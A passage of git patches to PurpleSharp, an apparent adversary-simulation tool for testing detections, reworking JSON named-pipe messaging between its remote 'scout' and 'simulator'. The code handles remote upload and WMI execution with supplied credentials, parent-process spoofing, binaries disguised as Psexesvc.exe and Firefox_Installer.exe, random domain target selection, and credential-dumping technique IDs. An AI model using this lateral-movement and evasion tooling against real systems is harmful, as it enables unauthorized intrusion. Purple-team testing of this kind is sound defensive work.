Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); if (verbose) { @@ -1047,25 +1038,23 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); //Console.WriteLine("[+] Connecting to namedpipe service ..."); - result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - if (result.Equals("SYN/ACK")) + SimulationRequestPayload sim_req_payload = new SimulationRequestPayload("regular", simrpath, techniques, "1", "ppid", pbsleep.ToString(), tsleep.ToString(), "True"); + if (privileged_techniques.Contains(techniques.ToUpper())) sim_req_payload.recon_type = "privileged"; + SimulationRequest sim_request = new SimulationRequest("SYN", sim_req_payload); + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + if (sim_response.header.Equals("SYN/ACK")) { //Console.WriteLine("[+] OK"); - - if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); - else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); - - ReconResponse recon_response = JsonConvert.DeserializeObject(result); - string duser = recon_response.user; - - //string[] payload = result.Split(','); - //string duser = payload[0]; - - + string duser = sim_response.recon_response.user; if (duser == "") { + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + sim_request = new SimulationRequest("FIN"); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); Thread.Sleep(1000); RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); @@ -1075,14 +1064,6 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str else { string user = duser.Split('\\')[1]; - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); - - string simfpath = "C:\\Users\\" + user + "\\" + simrpath; int index2 = simrpath.LastIndexOf(@"\"); string simrfolder = simrpath.Substring(0, index2 + 1); @@ -1092,9 +1073,9 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str //Console.WriteLine("[+] Uploading Simulator to " + simfpath); RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); - //Console.WriteLine("[+] Triggering simulation..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + //Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); + sim_request = new SimulationRequest("ACT"); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); System.Threading.Thread.Sleep(5000); bool finished = false; From d2316ae7fbdd8811c8d65bfa3a5d728648826cf6 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Thu, 25 Mar 2021 23:30:50 -0400 Subject: [PATCH 04/20] serialized namedpipes communication between scout and simulator. --- PurpleSharp/Lib/NamedPipes.cs | 92 +++++++++++++++++++++++++++-------- PurpleSharp/Program.cs | 5 +- 2 files changed, 77 insertions(+), 20 deletions(-) diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 02b56be..8413a5c 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -294,10 +294,18 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); + logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); + + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", s_payload))); + string result = NamedPipes.RunNoAuthClientSerialized(simulator_np, bytes_sim_rqeuest); + + logger.TimestampInfo("Received back from Simulator " + result); + /* System.Threading.Thread.Sleep(3000); logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); RunNoAuthClient(simulator_np, "technique:" + s_payload.techniques + " variation:" + s_payload.variation.ToString() + " pbsleep:" + s_payload.playbook_sleep.ToString() + " tsleep:" + s_payload.task_sleep.ToString() + " cleanup:" + s_payload.cleanup); System.Threading.Thread.Sleep(2000); + */ } sim_response = new SimulationResponse("ACK"); @@ -393,6 +401,53 @@ public static string[] RunSimulationService(string npipe, string log) } + public static string[] RunSimulationServiceSerialized(string npipe, string log) + { + string[] result = new string[5]; + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + try + { + //https://helperbyte.com/questions/171742/how-to-connect-to-a-named-pipe-without-administrator-rights + PipeSecurity ps = new PipeSecurity(); + ps.SetAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow)); + + logger.TimestampInfo("starting Simulator!"); + string technique, pbsleep, tsleep, cleanup, variation; + using (var pipeServer = new NamedPipeServerStream(npipe, PipeDirection.InOut, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 4028, 4028, ps)) + + { + SimulationResponse sim_response; + logger.TimestampInfo("Waiting for client connection..."); + pipeServer.WaitForConnection(); + logger.TimestampInfo("Client connected."); + var messageBytes = ReadMessage(pipeServer); + var line = Encoding.UTF8.GetString(messageBytes); + logger.TimestampInfo("Received from client: " + line); + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); + + result[0] = sim_request.sim_request_payload.techniques; + result[1] = sim_request.sim_request_payload.variation; + result[2] = sim_request.sim_request_payload.playbook_sleep; + result[3] = sim_request.sim_request_payload.task_sleep; + result[4] = sim_request.sim_request_payload.cleanup; + + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + + + pipeServer.Disconnect(); + return result; + } + } + catch + { + return result; + } + + } + //Based on https://github.com/malcomvetter/NamedPipes public static string RunClient(string rhost, string domain, string ruser, string rpwd, string npipe, string request) { @@ -427,27 +482,9 @@ public static string RunClientSerialized(string rhost, string domain, string rus var reader = new StreamReader(pipeClient); //var writer = new StreamWriter(pipeClient); var writer2 = new BinaryWriter(pipeClient); - writer2.Write(serialized_object); - //Console.WriteLine("data has been sent"); - //writer2.Flush(); - //writer.WriteLine(request); - //writer.Flush(); - - //Console.WriteLine("waiting for response"); var restul1 = reader.ReadLine(); - //Console.WriteLine("Got data back"); - //Console.WriteLine(restul1); - - /* - Console.WriteLine("waiting for response again"); - var restul2 = reader.ReadLine(); - Console.WriteLine("Got more data back"); - Console.WriteLine(restul2); - */ return (restul1.ToString()); - - } } } @@ -465,8 +502,25 @@ public static string RunNoAuthClient(string npipe, string request) writer.Flush(); var result = reader.ReadLine(); return (result.ToString()); + } + } + + public static string RunNoAuthClientSerialized(string npipe, byte[] serialized_object) + { + using (var pipeClient = new NamedPipeClientStream(".", npipe, PipeDirection.InOut)) + { + pipeClient.Connect(10000); + pipeClient.ReadMode = PipeTransmissionMode.Message; + + var reader = new StreamReader(pipeClient); + var writer2 = new BinaryWriter(pipeClient); + writer2.Write(serialized_object); + //var writer = new StreamWriter(pipeClient); + //writer.WriteLine(request); + //writer.Flush(); + var result = reader.ReadLine(); + return (result.ToString()); } - } } } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 8812529..58821bb 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -184,7 +184,10 @@ public static void Main(string[] args) } if (simservice) { - string[] options = NamedPipes.RunSimulationService(simulator_np, log); + //string[] options = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); + //ExecuteTechniques(options[0], Int32.Parse(options[1]), nusers, nhosts, Int32.Parse(options[2]), Int32.Parse(options[3]), log, bool.Parse(options[4])); + + string[] options = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); ExecuteTechniques(options[0], Int32.Parse(options[1]), nusers, nhosts, Int32.Parse(options[2]), Int32.Parse(options[3]), log, bool.Parse(options[4])); return; } From a0bce056ee7d1aa65cbeabcd926a9b6cb05350af Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sat, 27 Mar 2021 03:28:45 -0400 Subject: [PATCH 05/20] refactoring comms again. leveraging SimulationPlaybook --- PurpleSharp/Lib/Json.cs | 83 ++++-- PurpleSharp/Lib/NamedPipes.cs | 134 +++++++++- PurpleSharp/Program.cs | 462 +++++++++++++++++++++++++++++++++- 3 files changed, 628 insertions(+), 51 deletions(-) diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index debb4ff..64f0eb3 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -20,18 +20,32 @@ public class SimulationExercise public class SimulationPlaybook { public string name { get; set; } - public string scoutfpath { get; set; } - public string simrpath { get; set; } - public int pbsleep { get; set; } + public string scout_full_path { get; set; } + public string simulator_relative_path { get; set; } + public int playbook_sleep { get; set; } public int tsleep { get; set; } - public string host { get; set; } + public string remote_host { get; set; } + public string opsec { get; set; } = "ppid"; public List tasks { get; set; } } public class PlaybookTask { public string technique { get; set; } - public int variation { get; set; } = 1; + public int variation { get; set; } = 1; + public int task_sleep { get; set; } = 1; + public bool cleanup { get; set; } = true; + public int target_users { get; set; } = 10; + public int target_hosts { get; set; } = 10; + + public PlaybookTask() + { + } + + public PlaybookTask(string tech) + { + technique = tech; + } } @@ -115,38 +129,36 @@ public class NavigatorTechnique // Named Pipe Comms Classes - public class ReconResponse + public class SimulationRequest { - public string user; + public string header; - public string process; - - public string process_id; + public SimulationRequestPayload sim_request_payload; - public string process_integrity; - public ReconResponse(string u, string proc, string proc_id, string proc_int) + public SimulationRequest(string type, SimulationRequestPayload sr = null) { - user = u; - process = proc; - process_id = proc_id; - process_integrity = proc_int; + header = type; + sim_request_payload = sr; } } - public class SimulationRequest + public class SimulationRequest2 { public string header; - public SimulationRequestPayload sim_request_payload; + public string recon_type; - public SimulationRequest(string type, SimulationRequestPayload sr = null) + public SimulationPlaybook playbook; + + public SimulationRequest2(string hd, string re_type = "", SimulationPlaybook pb = null) { - header = type; - sim_request_payload = sr; + header = hd; + recon_type = re_type; + playbook = pb; } } - public class SimulationRequestPayload + public class SimulationRequestPayload { public string recon_type; @@ -175,8 +187,8 @@ public SimulationRequestPayload(string recon, string simrpath, string techs, str task_sleep = tsleep; cleanup = clnup; } - } + public class SimulationResponse { public string header; @@ -190,8 +202,25 @@ public SimulationResponse (string stat, ReconResponse recon_resp=null) } } + public class ReconResponse + { + public string user; + + public string process; + + public string process_id; + + public string process_integrity; + public ReconResponse(string u, string proc, string proc_id, string proc_int) + { + user = u; + process = proc; + process_id = proc_id; + process_integrity = proc_int; + } + } - class Json + class Json { public static SimulationExercise ReadSimulationPlaybook(string jsoninput) { @@ -546,9 +575,9 @@ public static SimulationExercise ConvertNavigatorToSimulationExercise(NavigatorL { SimulationPlaybook playbook = new SimulationPlaybook(); playbook.name = layer.name; - playbook.host = "random"; - playbook.scoutfpath = @"C:\Windows\Psexesvc.exe"; - playbook.simrpath = @"\Downloads\Firefox_Installer.exe"; + playbook.remote_host = "random"; + playbook.scout_full_path = @"C:\Windows\Psexesvc.exe"; + playbook.simulator_relative_path = @"\Downloads\Firefox_Installer.exe"; List tasks = new List(); diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 8413a5c..8029ac6 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -252,7 +252,6 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n logger.TimestampInfo("Received SYN"); s_payload = sim_request.sim_request_payload; ReconResponse recon_response; - byte[] bytes_recon_response; if (sim_request.sim_request_payload.recon_type.Equals("privileged")) privileged = true; parentprocess = Recon.GetHostProcess(privileged); if (parentprocess != null && Recon.GetExplorer() != null) @@ -298,14 +297,122 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", s_payload))); string result = NamedPipes.RunNoAuthClientSerialized(simulator_np, bytes_sim_rqeuest); + logger.TimestampInfo("Received back from Simulator " + result); + + } + + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object 2")); + running = false; + } + else if (sim_request.header.Equals("FIN")) + { + logger.TimestampInfo("Received a FIN command"); + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + running = false; + } + + pipeServer.Disconnect(); + } + } + } + catch (Exception ex) + { + logger.TimestampInfo(ex.ToString()); + logger.TimestampInfo(ex.Message.ToString()); + } + } + + public static void RunScoutServiceSerialized2(string scout_np, string simulator_np, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + bool running = true; + bool privileged = false; + + string technique, opsec, simpfath, duser, user, simbinary, cleanup; + technique = opsec = simpfath = duser = user = simbinary = cleanup = ""; + Process parentprocess = null; + int pbsleep, tsleep, variation; + pbsleep = tsleep = 0; + variation = 1; + SimulationPlaybook PlaybookToSend = null; + Thread.Sleep(1500); + + try + { + using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) + { + + logger.TimestampInfo("Starting scout namedpipe service with PID:" + Process.GetCurrentProcess().Id); + while (running) + { + SimulationResponse sim_response; + logger.TimestampInfo("Waiting for client connection..."); + pipeServer.WaitForConnection(); + logger.TimestampInfo("Client connected."); + var messageBytes = ReadMessage(pipeServer); + var line = Encoding.UTF8.GetString(messageBytes); + logger.TimestampInfo("Received from client: " + line); + SimulationRequest2 sim_request = JsonConvert.DeserializeObject(line); + + if (sim_request.header.Equals("SYN")) + { + logger.TimestampInfo("Received SYN"); + PlaybookToSend = sim_request.playbook; + ReconResponse recon_response; + if (sim_request.recon_type.Equals("privileged")) privileged = true; + parentprocess = Recon.GetHostProcess(privileged); + if (parentprocess != null && Recon.GetExplorer() != null) + { + duser = Recon.GetProcessOwnerWmi(Recon.GetExplorer()); + recon_response = new ReconResponse(duser, parentprocess.ProcessName, parentprocess.Id.ToString(), privileged.ToString()); + user = duser.Split('\\')[1]; + logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); + } + else + { + recon_response = new ReconResponse("", "", "", ""); + logger.TimestampInfo("Recon did not identify any logged users"); + } + + simpfath = "C:\\Users\\" + user + "\\" + sim_request.playbook.simulator_relative_path; + int index = sim_request.playbook.simulator_relative_path.LastIndexOf(@"\"); + simbinary = sim_request.playbook.simulator_relative_path.Substring(index + 1); + + sim_response = new SimulationResponse("SYN/ACK", recon_response); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object")); + + } + else if (sim_request.header.Equals("ACT")) + { + + logger.TimestampInfo("Received ACT"); + if (PlaybookToSend.opsec.Equals("ppid")) + { + + logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); + logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); + logger.TimestampInfo("Executing: " + simpfath + " /n"); + //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); + //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); + + Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); + //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); + + //logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); + logger.TimestampInfo("Sending Simulation Playbook to Simulation Agent through namedpipe: " + PlaybookToSend.simulator_relative_path); + + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest2("ACK", "", PlaybookToSend))); + string result = NamedPipes.RunNoAuthClientSerialized(simulator_np, bytes_sim_rqeuest); logger.TimestampInfo("Received back from Simulator " + result); - /* - System.Threading.Thread.Sleep(3000); - logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); - RunNoAuthClient(simulator_np, "technique:" + s_payload.techniques + " variation:" + s_payload.variation.ToString() + " pbsleep:" + s_payload.playbook_sleep.ToString() + " tsleep:" + s_payload.task_sleep.ToString() + " cleanup:" + s_payload.cleanup); - System.Threading.Thread.Sleep(2000); - */ } sim_response = new SimulationResponse("ACK"); @@ -401,9 +508,10 @@ public static string[] RunSimulationService(string npipe, string log) } - public static string[] RunSimulationServiceSerialized(string npipe, string log) + public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, string log) { string[] result = new string[5]; + SimulationPlaybook playbook = null; string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); try @@ -424,13 +532,17 @@ public static string[] RunSimulationServiceSerialized(string npipe, string log) var messageBytes = ReadMessage(pipeServer); var line = Encoding.UTF8.GetString(messageBytes); logger.TimestampInfo("Received from client: " + line); - SimulationRequest sim_request = JsonConvert.DeserializeObject(line); + SimulationRequest2 sim_request = JsonConvert.DeserializeObject(line); + + playbook = sim_request.playbook; + /* result[0] = sim_request.sim_request_payload.techniques; result[1] = sim_request.sim_request_payload.variation; result[2] = sim_request.sim_request_payload.playbook_sleep; result[3] = sim_request.sim_request_payload.task_sleep; result[4] = sim_request.sim_request_payload.cleanup; + */ sim_response = new SimulationResponse("ACK"); byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); @@ -438,12 +550,12 @@ public static string[] RunSimulationServiceSerialized(string npipe, string log) pipeServer.Disconnect(); - return result; + return playbook; } } catch { - return result; + return playbook; } } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 58821bb..3207577 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -179,7 +179,7 @@ public static void Main(string[] args) if (scoutservice) { //NamedPipes.RunScoutService(scout_np, simulator_np, log); - NamedPipes.RunScoutServiceSerialized(scout_np, simulator_np, log); + NamedPipes.RunScoutServiceSerialized2(scout_np, simulator_np, log); return; } if (simservice) @@ -187,14 +187,17 @@ public static void Main(string[] args) //string[] options = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); //ExecuteTechniques(options[0], Int32.Parse(options[1]), nusers, nhosts, Int32.Parse(options[2]), Int32.Parse(options[3]), log, bool.Parse(options[4])); - string[] options = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); - ExecuteTechniques(options[0], Int32.Parse(options[1]), nusers, nhosts, Int32.Parse(options[2]), Int32.Parse(options[3]), log, bool.Parse(options[4])); + //SimulationRequestPayload sim_payload = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); + //ExecuteTechniques(sim_payload.techniques, Int32.Parse(sim_payload.variation), nusers, nhosts, Int32.Parse(sim_payload.playbook_sleep), Int32.Parse(sim_payload.task_sleep), log, bool.Parse(sim_payload.cleanup)); + + SimulationPlaybook playbook = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); + ExecuteTechniques2(playbook, log); return; } //// Handling User Parameters //// - //ATT&CK Navigator options + //ATT&CK Navigator optionsE if (navigator) { @@ -311,13 +314,13 @@ public static void Main(string[] args) SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); playbookResults.taskresults = new List(); playbookResults.name = playbook.name; - playbookResults.host = playbook.host; + playbookResults.host = playbook.remote_host; logger.TimestampInfo("Running Playbook " + playbook.name); PlaybookTask lastTask = playbook.tasks.Last(); foreach (PlaybookTask task in playbook.tasks) { ExecuteTechnique(task.technique, task.variation, 10, nhosts, tsleep, log, cleanup); - if (playbook.pbsleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.pbsleep); + if (playbook.playbook_sleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.playbook_sleep); } logger.TimestampInfo("Playbook Finished"); } @@ -343,7 +346,7 @@ public static void Main(string[] args) SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); playbookResults.taskresults = new List(); playbookResults.name = playbook.name; - playbookResults.host = playbook.host; + playbookResults.host = playbook.remote_host; Console.WriteLine("[+] Running Playbook {0}", playbook.name); PlaybookTask lastTask = playbook.tasks.Last(); @@ -353,7 +356,7 @@ public static void Main(string[] args) techs.Add(task.technique); } string techs2 = String.Join(",", techs); - if (playbook.host.Equals("random")) + if (playbook.remote_host.Equals("random")) { List targets = Ldap.GetADComputers(10, logger, engagement.dc, engagement.username, pass); if (targets.Count > 0) @@ -364,7 +367,8 @@ public static void Main(string[] args) Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); //playbookResults = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); - playbookResults = ExecuteRemoteTechniquesJsonSerialized(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + //playbookResults = ExecuteRemoteTechniquesJsonSerialized(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.playbook_sleep, playbook.tsleep, playbook.scout_full_path, scout_np, playbook.simulator_relative_path, log, true, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized2(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } @@ -373,9 +377,9 @@ public static void Main(string[] args) } else { - Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.host); + Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); //playbookResults = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); - playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized2(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } @@ -758,11 +762,42 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); Console.WriteLine("[+] Connecting to the Scout ..."); + + + SimulationPlaybook playbook = new SimulationPlaybook(); + List tasks = new List(); + + if (techniques.Contains(",")) + { + string[] techs = techniques.Split(','); + for (int i = 0; i < techs.Length; i++) + { + tasks.Add(new PlaybookTask(techs[i])); + + } + } + else + { + tasks.Add(new PlaybookTask(techniques)); + + } + playbook.tasks = tasks; + playbook.simulator_relative_path = simrpath; + playbook.playbook_sleep = pbsleep; + + SimulationRequest2 sim_request = new SimulationRequest2("SYN", "regular", playbook); + if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); + + + /* SimulationRequestPayload sim_req_payload = new SimulationRequestPayload("regular", simrpath, techniques, variation.ToString(), "ppid", pbsleep.ToString(), tsleep.ToString(), cleanup.ToString()); if (privileged_techniques.Contains(techniques.ToUpper())) sim_req_payload.recon_type = "privileged"; SimulationRequest sim_request = new SimulationRequest("SYN", sim_req_payload); byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); + */ SimulationResponse sim_response = JsonConvert.DeserializeObject(result); @@ -773,7 +808,7 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain if (duser == "") { Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - sim_request = new SimulationRequest("FIN"); + sim_request = new SimulationRequest2("FIN"); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); Thread.Sleep(1000); RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); @@ -795,7 +830,7 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); - sim_request = new SimulationRequest("ACT"); + sim_request = new SimulationRequest2("ACT"); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); if (verbose) @@ -1140,6 +1175,130 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str return Json.GetPlaybookResult(results); } } + + public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized2(string rhost, string domain, string ruser, string rpwd, string scout_np, SimulationPlaybook playbook, string log, bool verbose) + { + // techniques that need to be executed from a high integrity process + string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; + + string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; + int index = playbook.scout_full_path.LastIndexOf(@"\"); + string scoutFolder = playbook.scout_full_path.Substring(0, index + 1); + Thread.Sleep(3000); + + if (playbook.opsec.Equals("ppid")) + { + string result = ""; + string args = "/o"; + + //Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); + RemoteLauncher.upload(uploadPath, playbook.scout_full_path, rhost, ruser, rpwd, domain); + + //Console.WriteLine("[+] Executing the Scout via WMI ..."); + RemoteLauncher.wmiexec(rhost, playbook.scout_full_path, args, domain, ruser, rpwd); + //Console.WriteLine("[+] Connecting to namedpipe service ..."); + + SimulationRequest2 sim_request = new SimulationRequest2("SYN", "regular", playbook); + //if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + + + if (sim_response.header.Equals("SYN/ACK")) + { + //Console.WriteLine("[+] OK"); + string duser = sim_response.recon_response.user; + if (duser == "") + { + + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); + sim_request = new SimulationRequest2("FIN"); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); + Thread.Sleep(1000); + RemoteLauncher.delete(playbook.scout_full_path, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + //Console.WriteLine("[!] Exitting."); + return null; + } + else + { + string user = duser.Split('\\')[1]; + string simfpath = "C:\\Users\\" + user + "\\" + playbook.simulator_relative_path; + int index2 = 